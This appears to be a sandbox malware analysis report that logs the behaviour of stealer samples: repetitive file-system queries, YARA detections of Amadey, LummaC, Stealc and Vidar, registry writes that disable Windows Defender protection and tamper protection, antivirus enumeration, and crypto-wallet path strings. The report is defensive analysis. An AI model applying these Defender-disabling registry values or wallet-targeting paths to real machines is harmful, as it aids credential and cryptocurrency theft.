Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\_socket.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\jaraco VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\jaraco VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\_queue.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\_hashlib.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI58162 VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

4_2_6BF135A0

Source: C:\Users\user\Desktop\random(4).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 9ce3a8a3dc.exe, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ender\MsMpeng.exe
Source: random(4).exe, 00000000.00000003.1801861765.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801768237.0000000005399000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1802092337.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1801922934.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\random(4).exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.skotes.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.FIJDGIJJKE.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3667795783.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2987197716.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2366087745.0000000000E31000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2078214906.0000000000231000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: random(4).exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9ce3a8a3dc.exe PID: 8044, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.3711440745.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.4097470810.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3714687550.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2313455015.0000000000721000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: random(4).exe, 00000000.00000003.1845169784.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":["*"],"z":"Wallets/Electrum-LTC"Q
Source: random(4).exe, 00000000.00000003.1791619976.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
